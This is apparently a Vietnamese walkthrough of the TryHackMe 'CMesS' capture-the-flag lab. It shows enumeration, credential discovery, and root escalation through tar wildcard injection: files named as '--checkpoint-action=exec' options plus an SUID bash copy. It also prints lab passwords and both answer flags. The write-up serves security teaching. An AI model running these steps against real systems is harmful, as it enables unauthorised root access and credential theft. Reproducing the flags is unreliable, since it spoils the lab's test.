CMesS
Can you root this Gila CMS box?
Initial Reconnaissance
Service Scanning
┌──(kali㉿kali)-[~/Documents]
└─$ sudo nmap -sV -sC -v cmess.thm
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d9:b6:52:d3:93:9a:38:50:b4:23:3b:fd:21:0c:05:1f (RSA)
| 256 21:c3:6e:31:8b:85:22:8a:6d:72:86:8f:ae:64:66:2b (ECDSA)
|_ 256 5b:b9:75:78:05:d7:ec:43:30:96:17:ff:c6:a8:6c:ed (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-robots.txt: 3 disallowed entries
|_/src/ /themes/ /lib/
|_http-generator: Gila CMS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelChúng ta thấy rằng trên hệ thống chỉ có hai service đang chạy, đó là SSH và HTTP, và có vẻ như trang web đang sử dụng Gila CMS.
SSH 22

Dịch vụ SSH cho phép đăng nhập bằng password authentication, điều này có thể hữu ích cho việc khai thác sau này.
HTTP 80

Khi truy cập trang chủ thì không có gì thật sự đáng chú ý, nên chúng ta thử chạy directory scan bằng ffuf.
Directory Enumeration
ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://cmess.thm/FUZZ -r -fc 404,403 -e .php,.txt
Trong quá trình scan, chúng ta cần loại bỏ các response có size 3851 và 4078 để tránh bị nhiễu.
ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://cmess.thm/FUZZ -r -fc 404,403 -e .php,.txt -fs 3851,4078
/robots.txt

/src, /themes, /lib
Chúng ta phát hiện có ba directory bị disallow trong robots.txt nhưng ta không có quyền truy cập vào chúng.



/login

Trang login của CMS có cơ chế rate limiting, vì vậy không thể thực hiện dictionary attack trực tiếp.

Subdomain Enumeration
Directory scan cũng không đem lại nhiều thông tin hữu ích, nên chúng ta chuyển sang thử subdomain scan.
ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://10.201.125.82/ -H "Host: FUZZ.cmess.thm" -mc 200
Tương tự, chúng ta cũng loại bỏ các response không mong muốn để kết quả rõ ràng hơn.
ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://10.201.125.82/ -H "Host: FUZZ.cmess.thm" -mc 200 -fw 522
Ta phát hiện một subdomain dành cho developer? Ta thêm vào /etc/hosts:

dev.cmess.thm

Nhờ đó, chúng ta phát hiện được một cặp credentials trong subdomain này:
andre@cmess.thm:KPFTN_f2yxe%Dashboard Authentication as andre
Ta đăng nhập thành công vào Administration Dashboard bằng credentials trên:

Chúng ta xác định được phiên bản Gila CMS đang chạy là 1.10.9. Ta thử tìm kiếm các lỗ hổng hoặc exploit công khai có thể khai thác trên phiên bản này bằng searchsploit:

Shell as www-data
Ta thiết lập một reverse shell connection và truy cập vào hệ thống dưới quyền user www-data.

Sudo Permissions
www-data@cmess:/home$ sudo -l
sudo -l
[sudo] password for www-data:
Sorry, try again.Vì không có password nên chúng ta không thể kiểm tra quyền sudo của www-data.
MySQL Credentials Discovery
Thay vào đó, chúng ta có thể đọc file config.php với vì có thể chứa thông tin nhạy cảm như database credentials.
www-data@cmess:/var/www/html$ cat config.php
cat config.php
<?php
$GLOBALS['config'] = array (
'db' =>
array (
'host' => 'localhost',
'user' => 'root',
'pass' => 'r0otus3rpassw0rd',
'name' => 'gila',
),
'permissions' =>
array (
1 =>
array (
0 => 'admin',
1 => 'admin_user',
2 => 'admin_userrole',
),
),
'packages' =>
array (
0 => 'blog',
),
'base' => 'http://cmess.thm/gila/',
'theme' => 'gila-blog',
'title' => 'Gila CMS',
'slogan' => 'An awesome website!',
'default-controller' => 'blog',
'timezone' => 'America/Mexico_City',
'ssl' => '',
'env' => 'pro',
'check4updates' => 1,
'language' => 'en',
'admin_email' => 'andre@cmess.thm',
'rewrite' => true,
);www-data@cmess:/var/www/html$ mysql -u root -p
mysql -u root -p
Enter password: r0otus3rpassw0rd
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 140822
Server version: 5.7.29-0ubuntu0.16.04.1 (Ubuntu)
Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| gila |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.01 sec)
mysql> use gila
use gila
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
show tables;
+----------------+
| Tables_in_gila |
+----------------+
| option |
| page |
| post |
| postcategory |
| postmeta |
| user |
| usermeta |
| userrole |
| widget |
+----------------+
9 rows in set (0.00 sec)
mysql> select * from user;
select * from user;
+----+----------+-----------------+--------------------------------------------------------------+--------+------------+---------------------+---------------------+
| id | username | email | pass | active | reset_code | created | updated |
+----+----------+-----------------+--------------------------------------------------------------+--------+------------+---------------------+---------------------+
| 1 | andre | andre@cmess.thm | $2y$10$uNAA0MEze02jd.qU9tnYLu43bNo9nujltElcWEAcifNeZdk4bEsBa | 1 | | 2020-02-06 18:20:34 | 2020-02-06 18:20:34 |
+----+----------+-----------------+--------------------------------------------------------------+--------+------------+---------------------+---------------------+
1 row in set (0.00 sec)Nhưng trong database này không có gì hữu ích.
Password Discovery
Khi tiếp tục kiểm tra, chúng ta phát hiện ra một điều thú vị: trong thư mục /opt, có một file chứa backup password của user andre.
www-data@cmess:/$ ls -la /mnt
ls -la /mnt
total 8
drwxr-xr-x 2 root root 4096 Feb 26 2019 .
drwxr-xr-x 22 root root 4096 Feb 6 2020 ..
www-data@cmess:/$ ls -la /sys
ls -la /sys
total 4
dr-xr-xr-x 13 root root 0 Aug 20 20:59 .
drwxr-xr-x 22 root root 4096 Feb 6 2020 ..
drwxr-xr-x 2 root root 0 Aug 20 19:33 block
drwxr-xr-x 32 root root 0 Aug 20 19:33 bus
drwxr-xr-x 54 root root 0 Aug 20 19:33 class
drwxr-xr-x 4 root root 0 Aug 20 19:33 dev
drwxr-xr-x 15 root root 0 Aug 20 19:33 devices
drwxr-xr-x 5 root root 0 Aug 20 19:34 firmware
drwxr-xr-x 8 root root 0 Aug 20 19:33 fs
drwxr-xr-x 5 root root 0 Aug 20 21:04 hypervisor
drwxr-xr-x 10 root root 0 Aug 20 19:33 kernel
drwxr-xr-x 107 root root 0 Aug 20 19:33 module
drwxr-xr-x 2 root root 0 Aug 20 21:04 power
www-data@cmess:/$ cd /
cd /
www-data@cmess:/$ ls -la opt
ls -la opt
total 12
drwxr-xr-x 2 root root 4096 Feb 6 2020 .
drwxr-xr-x 22 root root 4096 Feb 6 2020 ..
-rwxrwxrwx 1 root root 36 Feb 6 2020 .password.bak
www-data@cmess:/$ cd opt
cd opt
www-data@cmess:/opt$ cat .password.bak
cat .password.bak
andres backup password
UQfsdCB7aAP6Shell as andre
www-data@cmess:/opt$ su andre
su andre
Password: UQfsdCB7aAP6
andre@cmess:/opt$ id
id
uid=1000(andre) gid=1000(andre) groups=1000(andre)Ta chuyển sang user andre và đọc được user.txt:
user.txt
andre@cmess:/opt$ cd ~
cd ~
andre@cmess:~$ ls -la
ls -la
total 36
drwxr-x--- 4 andre andre 4096 Feb 9 2020 .
drwxr-xr-x 3 root root 4096 Feb 6 2020 ..
drwxr-x--- 2 andre andre 4096 Feb 9 2020 backup
lrwxrwxrwx 1 root root 9 Feb 6 2020 .bash_history -> /dev/null
-rwxr-x--- 1 andre andre 220 Feb 6 2020 .bash_logout
-rwxr-x--- 1 andre andre 3771 Feb 6 2020 .bashrc
drwxr-x--- 2 andre andre 4096 Feb 6 2020 .cache
-rwxr-x--- 1 andre andre 655 Feb 6 2020 .profile
lrwxrwxrwx 1 root root 9 Feb 6 2020 .sudo_as_admin_successful -> /dev/null
-rwxr-x--- 1 andre andre 38 Feb 6 2020 user.txt
-rwxr-x--- 1 andre andre 635 Feb 9 2020 .viminfo
andre@cmess:~$ cat user.txt
cat user.txt
thm{c529b5d5d6ab6b430b7eb1903b2b5e1b}Cron Jobs
andre@cmess:~$ cd backup
cd backup
andre@cmess:~/backup$ ls -la
ls -la
total 12
drwxr-x--- 2 andre andre 4096 Feb 9 2020 .
drwxr-x--- 4 andre andre 4096 Feb 9 2020 ..
-rwxr-x--- 1 andre andre 51 Feb 9 2020 note
andre@cmess:~/backup$ cat note
cat note
Note to self.
Anything in here will be backed up!Khi đã truy cập được vào tài khoản andre, chúng ta thấy home của andre có một thư mục tên là backup. Đây là chỗ rất đáng để kiểm tra, bởi nó có thể liên quan đến cron jobs.
andre@cmess:~/backup$ cat /etc/crontab
cat /etc/crontab
## /etc/crontab: system-wide crontab
## Unlike any other crontab you don't have to run the `crontab'
## command to install the new version when you edit this file
## and files in /etc/cron.d. These files also have username fields,
## that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
## m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/2 * * * * root cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *Quả đúng như dự đoán, chúng ta có thể leo quyền một cách khá dễ dàng bằng cách lợi dụng ký tự wildcard (*) trong quá trình backup.
Shell as root
Ta sẽ tạo một bản copy của /bin/bash và đặt SUID permission bit để có chạy nó với quyền root:
andre@cmess:~/backup$ touch -- "--checkpoint=1"
touch -- "--checkpoint=1"
andre@cmess:~/backup$ touch -- "--checkpoint-action=exec=sh shell.sh"
touch -- "--checkpoint-action=exec=sh shell.sh"
andre@cmess:~/backup$ printf '#!/bin/bash\ncp /bin/bash /tmp/test && chmod u+s /tmp/test\n' > shell.sh && chmod +x shell.sh
<sh /tmp/test && chmod u+s /tmp/test\n' > shell.sh && chmod +x shell.shSau 2 phút ta đã thành công chiếm được quyền root trên máy target:
andre@cmess:~/backup$ cd /tmp
cd /tmp
andre@cmess:/tmp$ ls -la
ls -la
total 1056
drwxrwxrwt 9 root root 4096 Aug 20 21:12 .
drwxr-xr-x 22 root root 4096 Feb 6 2020 ..
-rw-r--r-- 1 root root 238 Aug 20 21:12 andre_backup.tar.gz
prw-r--r-- 1 www-data www-data 0 Aug 20 21:12 f
drwxrwxrwt 2 root root 4096 Aug 20 19:34 .font-unix
drwxrwxrwt 2 root root 4096 Aug 20 19:34 .ICE-unix
drwx------ 3 root root 4096 Aug 20 19:34 systemd-private-40cde864841244a587f2a90f796accc7-systemd-timesyncd.service-2zx6se
-rwsr-xr-x 1 root root 1037528 Aug 20 21:12 test
drwxrwxrwt 2 root root 4096 Aug 20 19:34 .Test-unix
drwxrwxrwt 2 root root 4096 Aug 20 19:34 VMwareDnD
drwxrwxrwt 2 root root 4096 Aug 20 19:34 .X11-unix
drwxrwxrwt 2 root root 4096 Aug 20 19:34 .XIM-unix
andre@cmess:/tmp$ ./test -p
./test -p
test-4.3# id
id
uid=1000(andre) gid=1000(andre) euid=0(root) groups=1000(andre)root.txt
test-4.3# cd /root
cd /root
test-4.3# ls -la
ls -la
total 28
drwx------ 2 root root 4096 Feb 13 2020 .
drwxr-xr-x 22 root root 4096 Feb 6 2020 ..
lrwxrwxrwx 1 root root 9 Feb 6 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
-rw------- 1 root root 169 Feb 6 2020 .mysql_history
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 andre andre 38 Feb 6 2020 root.txt
-rw-rw-rw- 1 root root 4057 Feb 13 2020 .viminfo
test-4.3# cat root.txt
cat root.txt
thm{9f85b7fdeb2cf96985bf5761a93546a2}